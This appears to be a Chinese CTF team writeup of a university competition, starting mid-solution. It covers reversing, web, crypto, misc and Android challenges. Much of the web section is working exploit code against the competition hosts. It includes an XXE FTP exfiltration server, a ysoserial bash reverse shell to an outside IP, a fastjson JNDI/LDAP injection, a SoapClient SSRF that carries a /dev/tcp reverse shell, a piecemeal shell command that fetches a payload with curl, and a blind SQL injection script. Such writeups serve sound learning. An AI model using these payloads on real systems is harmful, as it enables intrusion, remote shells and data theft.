    printf("%d %f", possible_r3, max_p); // 4958299
}

void brute_force(
) {
    uint8_t seq_r1[100] = {};
    uint8_t seq_r2[100] = {};
    uint8_t seq_r3[100] = {};

    int r2 = 3324079;
    int r3 = 4958299;

    lfsr(r2, 0x2A9A0D, 0x3FFFFF, seq_r2, 100);
    lfsr(r3, 0x5E5E6A, 0x7FFFFF, seq_r3, 100);

    for(int r1 = 1427994; r1 < (1<<21); r1++) {
        lfsr(r1, 0x17FA06, 0x1FFFFF, seq_r1, 100);

        for (int i = 0; i < 100; i++) {
            int byte = 0;

            for(int bit = 7; bit >= 0; bit--) {
                int x1 = (seq_r1[i]>>bit) & 1;
                int x2 = (seq_r2[i]>>bit) & 1;
                int x3 = (seq_r3[i]>>bit) & 1;
                byte = (byte<<1) ^ ((x1*x3)^((x1^1)*x2));
            }

            if (byte != mixed_output[i]) break;
            if (i == 99) printf("%d", r1);  // 1427994
        }
    }
}

int main(
) {
    // guess2();
    // guess3();
    // brute_force();

    int r1 = 1427994;
    int r2 = 3324079;
    int r3 = 4958299;
    printf("flag{%x%x%x}", r1, r2, r3); // flag{15ca1a32b8af4ba85b}
}

RUBIK

类似魔方但不会玩,提供三个函数

f_func
(0)9bit<<3
(1)低3bit到(0)低3bit
(1)高3bit到(7)低3bit
(2)低3bit到(7)中3bit
(3)中3bit到(1)高3bit
(3)高3bit到(2)低3bit
(4)不变
(5)不变
(6)低3bit到(3)中3bit
(6)中3bit到(3)高3bit
(7)低3bit到(6)低3bit
(7)中3bit到(6)中3bit

u_func

灵感来了
猜测2*2魔方
找到对应网址solve即可
对应变化如下

000 000 000 000 101 101 101 101 100 100 100 100 011 011 011 011 010 010 010 010 001 001 001 001

F
000 010 010 000 000 000 101 101 100 100 100 100 101 101 011 011 010 011 011 010 001 001 001 001 

U
000 000 000 000 101 001 001 101 101 101 100 100 011 011 011 011 100 100 010 010 001 010 010 001 

R
100 100 000 000 101 101 101 101 100 011 011 100 011 001 001 011 010 010 010 010 000 000 001 001

FR
100 100 010 000 000 000 101 101 100 101 011 100 101 001 001 011 011 011 010 010 000 010 001 001 

easyparser

数据放在bss段0x6BFAE0处,因为会录入回车,一开始判定就会gg所以去bss段改
长度38
验证格式位flag{}后算法部分
(x^0x63) << (2 & 0x3F)
与bss段数据比较
0x90,0x14c,0x1c,0xf0,0x84,0x3c,0x18,0x40,0x40,0xf0,0xd0,0x58,0x2c,0x8,0x34,0xf0,0x114,0xf0,0x80,0x2c,0x28,0x34,0x8,0xf0,0x90,0x44,0x30,0x50,0x5c,0x2c,0x108,0xf0

a = [0x90,0x14c,0x1c,0xf0,0x84,0x3c,0x18,0x40,0x40,0xf0,0xd0,0x58,0x2c,0x8,0x34,0xf0,0x114,0xf0,0x80,0x2c,0x28,0x34,0x8,0xf0,0x90,0x44,0x30,0x50,0x5c,0x2c,0x108,0xf0]
f = 'flag{'
for i in range(32):
    for j in range(32,125,1):
        if (j^0x63) << (2 & 0x3F) == a[i]:
            f += chr(j)
            break
f += '}'
print f

天津垓

俩个反调试一个smc
最后是elgamal算法不算难

import gmpy2
flag = [2007666, 2125764, 1909251, 2027349, 2421009, 1653372, 2047032, 2184813, 2302911, 2263545, 1909251, 2165130, 1968300, 2243862, 2066715, 2322594, 1987983, 2243862, 1869885, 2066715, 2263545, 1869885, 964467, 944784, 944784, 944784, 728271, 1869885, 2263545, 2283228, 2243862, 2184813, 2165130, 2027349, 1987983, 2243862, 1869885, 2283228, 2047032, 1909251, 2165130, 1869885, 2401326, 1987983, 2243862, 2184813, 885735, 2184813, 2165130, 1987983, 2460375]
p = 2147483659
e = 19683
f = ''
d = gmpy2.invert(e,p)
for i in range(len(flag)):
    f += chr((flag[i]*d)%p)
print f
#flag{Thousandriver_is_1000%_stronger_than_zero-one}

fxck

400C3A函数
就是base58,改了码表,再input前加一字节
然后加密,字节由输入长度生成,题目说应该是42,所以字节是\xe0
base58('\xe0'+input)就是第一个函数
第二个函数还在看
不知道为啥,不管输入什么比较的都是4VyhuTqRfYFnQ85Bcw5XcDr3ScNBjf5CzwUdWKVM7SSVqBrkvYGt7SSUJe
解密得
flag{63510cf7-2b80-45e1-a186-21234897e5cd}
出题人有问题,密文没加\xe0运行程序输入对应flag过不了check

Web

hackme

  • diffrient session engine
  • hitcon 2017
  • filter用data:
  • 127.0.0.1那边只需要compress:zlib
import requests
import base64
s = requests.session()
url = "http://121.36.222.22:88/upload_sign.php"
s.post(url, data={'sign':'aaa|O:4:"info":1:{s:5:"admin";i:1;}'})
url = "http://121.36.222.22:88/core/index.php"
r = s.get(url)
print r.text
print s.cookies.get_dict();
payload = [
    '>dir',
    '>g\>',
    '>ht-',
    '>sl',
    '*>v',
    '>rev',
    '*v>x',
    '>\;\\',
    '>p',
    '>ph\\',
    '>a.\\',
    '>\>\\',
    '>m\\',
    '>co\\',
    '>0.\\',
    '>g\\',
    '>4n\\',
    '>dj\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',
    'sh x',
    'sh g',
]

for i in payload:
    data = {'url':'compress.zlib://data:@127.0.0.1/plain;base64,'+base64.b64encode(i)}
    r = s.post(url, data=data)

fmkq

  • 既然协议都限制死了,那就打内网吧
  • ?head=%5C&url=http://127.0.0.1:8080/&begin=%1$s
  • 输入file参数之后,就像php的sprintf,但是这个url形式像python,那就用format的格式化字符串漏洞。
{file.__init__.__globals__[vip].__init__.__globals__}
  • 拿到vipcode之后就去读文件,却发现fl4gxxxx不能读,试下fl4gxxxx/1
  • 就发现回显告诉我们这个目录不能读,想想linux下好像没啥姿势了,就去读app下面的源码
  • 发现global current_folder_file
  • 那就
{file.__init__.__globals__[current_folder_file][21]}/flag

webcat

高校战“疫”网络安全分享赛 Writeup by X1cT34m-小绿草信息安全实验室
  • 上图是pop链,再加上phar的生成脚本
  • 上传时只需很简单的改后缀和content-type即可绕过
  • rogue-mysql-server开启读phar文件,bp开启,测试之后发现option那边要填8
  • /那边换成/;/readflag即可读到flag

sqlcheckin

username=admin&password='-0-'

PHP-UAF

高校战“疫”网络安全分享赛 Writeup by X1cT34m-小绿草信息安全实验室

前段时间爆出来的洞,github上面有exp。。。https://github.com/mm0r1/exploits/tree/master/php7-backtrace-bypass
包含一下就执行了。不知道为什么直接访问不行而且有人一直搅屎,我是用蚁剑一边上传一边用hackbar发请求,大概几十次就可成功命令执行。

babyjava

一开始给了个xxe,发现可以加载外部实体,在ua请求里面看到是java8_191,提示让读/hint.txt,直接ftp一把梭,

#!/usr/env/python
from __future__ import print_function
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(('0.0.0.0',2121))
s.listen(1)
print('XXE-FTP listening ')
conn,addr = s.accept()
print('Connected by %s',addr)
conn.sendall('220 Staal XXE-FTP\r\n')
stop = False
while not stop:
    dp = str(conn.recv(1024))
    if dp.find("USER") > -1:
        conn.sendall("331 password please - version check\r\n")
    else:
        conn.sendall("230 more data please!\r\n")
    if dp.find("RETR")==0 or dp.find("QUIT")==0:
        stop = True
    if dp.find("CWD") > -1:
        print(dp.replace('CWD ','/',1).replace('\r\n',''),end='')
    else:
        print(dp)

conn.close()
s.close()
<!ENTITY % payload SYSTEM "file:///hint.txt">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'ftp://ip:2121/%payload;'>">
%int;
%trick;

本来想直接读flag,但是参考:https://landgrey.me/blog/9/
191是没法读多行文件的。脚本返回也是一个报错。

hint里面看到依赖有fj,还有configuration2 1 直接可以用来做gadget,然后又是ldap一把梭。

nc -lvp 50000

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMzkuMTk5LjIwMy4yNTMvNTAwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}'|base64

将 LDAPServer 里面的 javaSerializedData 改成payload
重新打包jar, 然后
java -jar LDAPServer-1.jar
就会在1389端口启动一个ldap服务

# fastjson 智能处理key 可以用下划线或者- 绕过
# \x 16进制绕过 
{"@\x74ype":"org.apache.commons.configuration.JNDIConfiguration","-prefix":"ldap://139.199.203.253:1389/Exploit"}

nothardweb

  • 知道原文,知道密文,能通过第1位和第228位爆出key,iv就能算出来
<?php
    error_reporting(0);
    mt_srand(3889653873);
    for($i=1;$i<=228;$i++){
        mt_rand();
    }
    $IV = "85196940";// you cant know that;
    $key = strval(mt_rand() & 0x5f5e0ff);
    echo openssl_decrypt(base64_decode("TGdqbzlDRWg5UmhrUURWU25rdlFRcUNaaldRU0xZSVo0OExQbkJwWVdiRmkyVkY5anRXV0lqYUE5MEVOdWUxMg=="), "des-cbc", $key, 0, $IV);
    $target = 'http://10.10.1.12/index.php?cc=%60%24cc%60%3Bbash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/49.234.187.102/20000%200%3E%261%27%3B';
    $a= new SoapClient(null,array('location' => $target,'uri'=>'hello'));
    $ser_user = serialize($a);
    $cipher = openssl_encrypt($ser_user, "des-cbc", $key, 0, $IV);
    echo "\n";
    echo base64_encode($cipher);
    echo "\n";
    echo md5($ser_user);
  • 访问网页拿到属于你session的key
python3 reverse_mt_rand.py {}  {} 0 1
第一个填用户1的uid,第二个填第228个的
  • 爆出key之后填入上面脚本的第三行
  • 第9行是为了验证脚本是否出错,填入$_COOKIE['user']
  • 第10行就是内网请求了
  • 综上是本题第一步
  • 反弹shell过后就是一个tomcat put文件任意写

webtmp

import pickle
import base64
poc = """c__main__
secret
}S'category'
S'aaa'
sS'name'
S'aaa'
sb.""".encode('utf-8')
print(base64.b64encode(poc))
#pickle.loads(poc)
#print(secret.name,secret.category)
import pickle
import base64
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category
poc = Animal('aaa','aaa')
print(base64.b64encode(pickle.dumps(poc)))

nweb

sqli 注册时type参数为110时有权限进search.php,可注
盲注exp:

import requests

s=requests.session()
url='http://121.37.179.47:1001/regist.php'
url2='http://121.37.179.47:1001/login.php'
url3='http://121.37.179.47:1001/search.php'
flag=''
s.post(url, data={'email': 'byc_409', 'pass': '123', 'repass': '123', 'type': '110'})
for i in range(1,50):
    print(i)
    a=0
    for j in range(32,128):
        s.post(url2, data={'email': 'byc_409', 'pass': '123'})#admin,fl4g,jd,user
        payload = "1' or ascii(substr((selselectect group_concat(flag) frfromom fl4g),"+str(i)+",1))="+str(j)+"#"
        r = s.post(url3, data={'flag': payload})
        if 'no' not in r.text:
            flag+=chr(j)
            print(flag)
            a=1
            break
    if a==0:
        break

注意一个双写绕过。跑出来admin账号跟密码md5,同时flag表flag列有一半flag:flag{Rogue-MySql-Server 提示Rogue-MySql-Server.
可以登陆admin,后面服务器跑脚本完事:-is-nday}

Crypto

NHP

主办方把我这题名字搞错了,应该是HNP。。

推荐阅读:https://eprint.iacr.org/2015/839.pdf

构建lattice:

高校战“疫”网络安全分享赛 Writeup by X1cT34m-小绿草信息安全实验室

然后LLL就完事了。

exp.py

# python 3.7

import re
import json
import string
import subprocess
from random import sample
from hashlib import sha256

from Crypto.Util.number import inverse
from pwn import *

host, port = ('127.0.0.1', 10000)
r = remote(host, port)
# context.log_level = 'debug'

# Proof of Work
rec = r.recvline().decode()

suffix = re.findall(r'\+ ([0-9a-f]*?)\)', rec)[0]
digest = re.findall(r'== ([0-9a-f]*?)\n', rec)[0]
print(f"suffix: {suffix} \ndigest: {digest}")

for i in range(256**3):
    guess = i.to_bytes(3, 'big') + bytes.fromhex(suffix)
    if sha256(guess).hexdigest() == digest:
        print('[!] Find: ' + guess.hex())
        break
else:
    print('Not found...')

r.sendlineafter(b'Give me XXX in hex: ', guess[:3].hex().encode())

# DSA params
params = r.recvuntil(b'3. exit\n').decode()
p = int(re.findall(r'p = ([0-9]*?)\n', params)[0])
q = int(re.findall(r'q = ([0-9]*?)\n', params)[0])
g = int(re.findall(r'g = ([0-9]*?)\n', params)[0])
y = int(re.findall(r'y = ([0-9]*?)\n', params)[0])
print(f"p: {p}\nq: {q}\ng: {g}\ny: {y}")

# Interactive
Hm_s = []
r_s = []
s_s = []

s = string.ascii_letters + string.digits
cnt = 0
total = 0
while cnt < 40:
    total += 1
    name = ''.join(random.sample(s, 10)).encode()
    r.sendlineafter(b"$ ", b"1")
    r.sendlineafter(b"Please input your username: ", name)

    rec = r.recvuntil(b"3. exit\n").decode()
    k_bits = int(re.findall(r"== ([0-9]*?)\n", rec)[0])
    if k_bits < 122:
        cnt += 1

        data = re.findall(r"in hex: ([0-9A-Z]*?)\n", rec)[0]
        sig = bytes.fromhex(data)
        (name, sig_r, sig_s) = (sig[:-40], sig[-40:-20], sig[-20:])
        (sig_r, sig_s) = map(lambda x: int.from_bytes(x, 'big'), (sig_r, sig_s))

        print(f"\ncount: {cnt}\nk_bits: {k_bits}")
        print(f"sig_r: {sig_r}\nsig_s: {sig_s}")

        Hm = int.from_bytes(sha256(name).digest(), 'big')
        Hm_s.append(Hm)
        r_s.append(sig_r)
        s_s.append(sig_s)

print(f"\nTotal times: {total}")

# save data
f = open('data', 'w')
json.dump([q, Hm_s, r_s, s_s], f)
f.close()

# solve HNP
print("\nSolving HNP...")
cmd = "sage solver.sage"
try:
    res = subprocess.check_output(cmd.split(' '))
except:
    print("Can't find x...")
    exit(1)
x = int(res)

# check
assert(y == pow(g, x, p))
print(f"find x: {x}")

# forge signature
admin = b"admin"
Hm = int.from_bytes(sha256(admin).digest(), 'big')
k = 0xdeadbeef
k_inv = inverse(k, q)
sig_r = pow(g, k, p) % q
sig_s = (k_inv * (Hm + x*sig_r)) % q

# sign in
sig = admin + sig_r.to_bytes(20, 'big') + sig_s.to_bytes(20, 'big')
print(f"Sending signature: {sig.hex().upper()}")
r.sendlineafter(b'$ ', b"2")
r.sendlineafter(b'Please send me your signature: ', sig.hex().upper().encode())

r.interactive()

solver.sage

# sage 8.9
import json

t = 40

# Load data
f = open("data", "r")
(q, Hm_s, r_s, s_s) = json.load(f)

# Calculate A & B
A = []
B = []
for r, s, Hm in zip(r_s, s_s, Hm_s):
    A.append( ZZ( (inverse_mod(s, q)*r) % q ) )
    B.append( ZZ( (inverse_mod(s, q)*Hm) % q ) )

# Construct Lattice
K = 2^122   # ki < 2^122
X = q * identity_matrix(QQ, t) # t * t
Z = matrix(QQ, [0] * t + [K/q] + [0]).transpose() # t+1 column
Z2 = matrix(QQ, [0] * (t+1) + [K]).transpose()    # t+2 column

Y = block_matrix([[X],[matrix(QQ, A)], [matrix(QQ, B)]]) # (t+2) * t
Y = block_matrix([[Y, Z, Z2]])

# Find short vector
Y = Y.LLL()

# check
k0 = ZZ(Y[1, 0] % q)
x = ZZ(Y[1, -2] / (K/q) % q)
assert(k0 == (A[0]*x + B[0]) % q)
print x

flag{25903ADB-15B6-44D7-A027-CAE500675EA5}

lancet

这个交互我吐了。。

就是个常规的RSA LSB oracle

参考https://github.com/ashutosh1206/Crypton/tree/master/RSA-encryption/Attack-LSBit-Oracle

写出exp:

import base64
import re
from collections import Counter

from Crypto.Util.number import long_to_bytes, bytes_to_long
from pwn import *

r = remote("121.37.174.33", 9999)
# context.log_level = 'debug'

rec = r.recvuntil(b"you can choose what you want here").decode()
N = int(re.findall(r'n:([0-9]*?)\n', rec)[0])
e = int(re.findall(r'e:([0-9]*?)\n', rec)[0])
flag = int(re.findall(r'flag:([0-9]*?)\n', rec)[0])
print(f"N = {N}\ne = {e}\nflag = {flag}")

def oracle(ct):
    c = base64.b64encode(long_to_bytes(ct))
    r.sendline(b"2")
    r.sendlineafter(b'send how long you want to decrypt\n', str(len(c) + 1).rjust(3, ' ').encode())
    r.sendlineafter(b'send the message in base64 encode\n', c)
    rec = r.recvuntil(b'you can choose what you want here\n').decode()
    res = int(re.findall(r"res:([0-1])\n", rec)[0])
    print(f"res: {res}")
    return res

e = 65537
upper_limit = N>>1800
lower_limit = 0
i = 1+1800
while i <= N.bit_length():
    if i % 100 == 0:
        print(i)
    chosen_ct = (flag*pow(2**i, e, N)) % N
    output = oracle(chosen_ct)
    if output == 0:
        upper_limit = (upper_limit + lower_limit)//2
    elif output == 1:
        lower_limit = (lower_limit + upper_limit)//2
    i += 1

# Decrypted ciphertext
print(long_to_bytes(upper_limit))

flag{RSA_IS_SO_AMAZING}

Misc

2019-nCoV

白给

ez_mem&usb

这道题差不多。

先流量分析,发现有个data.vmem,搞下来。

然后volatility分析,cmd里面发现passwd:weak_auth_top100

搜文件,发现flag.img

dumpfiles把它弄下来。

binwalk -e提取文件。

有个加密的压缩包,密码weak_auth_top100,解压得usbdata.txt

网上找了个脚本:

extract.py

import sys
import os

usb_codes = {
   0x04:"aA", 0x05:"bB", 0x06:"cC", 0x07:"dD", 0x08:"eE", 0x09:"fF",
   0x0A:"gG", 0x0B:"hH", 0x0C:"iI", 0x0D:"jJ", 0x0E:"kK", 0x0F:"lL",
   0x10:"mM", 0x11:"nN", 0x12:"oO", 0x13:"pP", 0x14:"qQ", 0x15:"rR",
   0x16:"sS", 0x17:"tT", 0x18:"uU", 0x19:"vV", 0x1A:"wW", 0x1B:"xX",
   0x1C:"yY", 0x1D:"zZ", 0x1E:"1!", 0x1F:"2@", 0x20:"3#", 0x21:"4$",
   0x22:"5%", 0x23:"6^", 0x24:"7&", 0x25:"8*", 0x26:"9(", 0x27:"0)",
   0x2C:"  ", 0x2D:"-_", 0x2E:"=+", 0x2F:"[{", 0x30:"]}",  0x32:"#~",
   0x33:";:", 0x34:"'\"",  0x36:",<",  0x37:".>", 0x4f:">", 0x50:"<"
   }

def code2chr(filepath):
    lines = []
    pos = 0
    for x in open(filepath,"r").readlines():
        code = int(x[6:8],16)   # 即第三个字节
        if code == 0:
            continue
        # newline or down arrow - move down
        if code == 0x51 or code == 0x28:
            pos += 1
            continue
        # up arrow - move up
        if code == 0x52:
            pos -= 1
            continue

        # select the character based on the Shift key
        while len(lines) <= pos:
            lines.append("")
        if code in range(4,81):
            if int(x[0:2],16) == 2:
                lines[pos] += usb_codes[code][1]
            else:
                lines[pos] += usb_codes[code][0]

    for x in lines:
        print(x)

if __name__ == "__main__":
    # check argv
    if len(sys.argv) != 2:
        print("Usage:\n\tpython keyboardScanCode.py datafile.txt\nhow to get datafile:\t tshark -r file.usb.pcapng -T fields -e usb.capdata > datafile.txt")
        exit(1)
    else:
        filepath = sys.argv[1]
        code2chr(filepath)
$ python extract.py usbdata.txt
flag[69200835784ec3ed8d2a64e73fe913c0]

flag{69200835784ec3ed8d2a64e73fe913c0}

隐藏的信息

二维码扫出来个假的flag???

纯数字,爆了一个小时都没爆出来???

后来发现是伪加密。。

发现音频里有一些奇怪的东西:

高校战“疫”网络安全分享赛 Writeup by X1cT34m-小绿草信息安全实验室

是手机按键声

查表

高校战“疫”网络安全分享赛 Writeup by X1cT34m-小绿草信息安全实验室

得到:187485618521

提交,错误。。

感觉图片里应该有些东西。

strings命令发现:

高校战“疫”网络安全分享赛 Writeup by X1cT34m-小绿草信息安全实验室

base64编码后提交,ok。

简单MISC

压缩包解出一个加密zip一个图片。图片坏的,果断改zip
解出一段摩斯电码,再解码得到明文
扔到前面zip去得到base64
解码即可

武汉加油

就一个jpg文件末尾藏了个
rar压缩包
压缩包打解压
是个flag.exe
flag.exe是个vmp
调试定位函数,就能喷flag

Mobile

GetFlag

反编译的java代码:

package com.xuanxuan.getflag;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View$OnClickListener;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.math.BigInteger;
import java.net.ServerSocket;
import java.net.Socket;
import java.security.Key;
import java.util.Random;
import javax.crypto.Mac;
import javax.crypto.spec.SecretKeySpec;
import org.json.JSONObject;

public class MainActivity extends AppCompatActivity {
    class com.xuanxuan.getflag.MainActivity$1 implements View$OnClickListener {
        com.xuanxuan.getflag.MainActivity$1(MainActivity arg1) {
            MainActivity.this = arg1;
            super();
        }

        public void onClick(View arg2) {
            new ServerSocket_thread(MainActivity.this).start();
        }
    }

    class Receive_Thread extends Thread {
        Receive_Thread(MainActivity arg1) {
            MainActivity.this = arg1;
            super();
        }

        public void run() {
            int v0 = MainActivity.this.r.nextInt(1000000);
            try {
                MainActivity.this.outputStream = MainActivity.this.clicksSocket.getOutputStream();
                OutputStream v1_1 = MainActivity.this.outputStream;
                StringBuilder v2 = new StringBuilder();
                v2.append(Integer.toString(v0));
                v2.append("\n");
                v1_1.write(v2.toString().getBytes());
            }
            catch(IOException v1) {
                v1.printStackTrace();
            }

            while(true) {
                int v1_2 = 1000;
                try {
                    byte[] v1_4 = new byte[v1_2];
                    int v3 = 500;
                    int v2_1 = MainActivity.this.inputstream.read(v1_4, 0, v3);
                    if(v2_1 < 0 || v2_1 > v3) {
                        MainActivity.this.inputstream.close();
                    }
                    else {
                        String v3_1 = new String(v1_4, 0, v2_1);
                        if(!MainActivity.this.Checkpayload(v3_1, v0)) {
                            MainActivity.this.inputstream.close();
                        }
                        else {
                            MainActivity.this.runOnUiThread(new Runnable(new JSONObject(v3_1).getString("message")) {
                                public void run() {
                                    this.this$1.this$0.receiveEditText.setText(this.val$showtext);
                                }
                            });
                            continue;
                        }
                    }

                    return;
                }
                catch(Exception v1_3) {
                    v1_3.printStackTrace();
                    continue;
                }
            }
        }
    }

    class ServerSocket_thread extends Thread {
        ServerSocket_thread(MainActivity arg1) {
            MainActivity.this = arg1;
            super();
        }

        public void run() {
            int v0 = 8080;
            try {
                MainActivity.this.serverSocket = new ServerSocket(v0);
            }
            catch(IOException v0_1) {
                v0_1.printStackTrace();
            }

            try {
                while(true) {
                label_8:
                    MainActivity.this.clicksSocket = MainActivity.this.serverSocket.accept();
                    MainActivity.this.inputstream = MainActivity.this.clicksSocket.getInputStream();
                    new Receive_Thread(MainActivity.this).start();
                }
            }
            catch(IOException v0_1) {
                v0_1.printStackTrace();
                goto label_8;
            }
        }
    }

    Socket clicksSocket;
    InputStream inputstream;
    OutputStream outputStream;
    EditText portEditText;
    Random r;
    EditText receiveEditText;
    Button sendButton;
    EditText sendEditText;
    ServerSocket serverSocket;
    Button startButton;
    private View$OnClickListener startButtonListener;

    public MainActivity() {
        super();
        this.r = new Random(1);
        this.startButtonListener = new com.xuanxuan.getflag.MainActivity$1(this);
    }

    private boolean Checkpayload(String arg4, int arg5) throws Exception {
        JSONObject v0 = new JSONObject(arg4);
        if((v0.has("message")) && (v0.has("check"))) {
            arg4 = v0.getString("message");
            if(new BigInteger(1, MainActivity.HmacSHA1Encrypt(arg4, Integer.toString(arg5))).toString(16).equals(v0.getString("check"))) {
                arg4 = arg4.replaceAll("-o", "").replaceAll("-O", "").replaceAll("-d", "").replaceAll("-P", "");
                try {
                    Runtime v5 = Runtime.getRuntime();
                    v5.exec("wget " + arg4);
                }
                catch(IOException v4) {
                    v4.printStackTrace();
                }

                return 1;
            }
        }

        return 0;
    }

    public static byte[] HmacSHA1Encrypt(String arg2, String arg3) throws Exception {
        SecretKeySpec v0 = new SecretKeySpec(arg3.getBytes("UTF-8"), "HmacSHA1");
        Mac hmac = Mac.getInstance("HmacSHA1");
        hmac.init(((Key)v0));
        return hmac.doFinal(arg2.getBytes("UTF-8"));
    }

    static boolean access$000(MainActivity arg0, String arg1, int arg2) throws Exception {
        return arg0.Checkpayload(arg1, arg2);
    }

    protected void onCreate(Bundle arg2) {
        super.onCreate(arg2);
        this.setContentView(0x7F09001C);
        this.startButton = this.findViewById(0x7F07007F);
        this.receiveEditText = this.findViewById(0x7F07005E);
        this.startButton.setOnClickListener(this.startButtonListener);
        try {
            FileOutputStream v2_2 = this.openFileOutput("flag", 0);
            v2_2.write("FLAG{the_real_flag_is_in_the_remote_apk}".getBytes());
            v2_2.close();
        }
        catch(IOException v2) {
            v2.printStackTrace();
        }
        catch(FileNotFoundException v2_1) {
            v2_1.printStackTrace();
        }
    }
}

远程apk

一开始用1作为seed,线性同余生成器random r。

socket监听,每当有人来连接就发一个r.nextInt(1000000)回去。

然后开始接受payload,长度范围在[0,500]之内。

payload是json格式,必须有messagecheck这两个键值。

如果message的内容经过HmacSHA1(用的key就是一开始发回来的那个随机数)后等于check,就可以执行命令。

执行命令前,会把message里的-o,-O,-d,-P过滤掉。。

然后在过滤完了的message前加上wget ,作为cmd,执行。

即,执行的是"wget " + message

用wget发送数据带出flag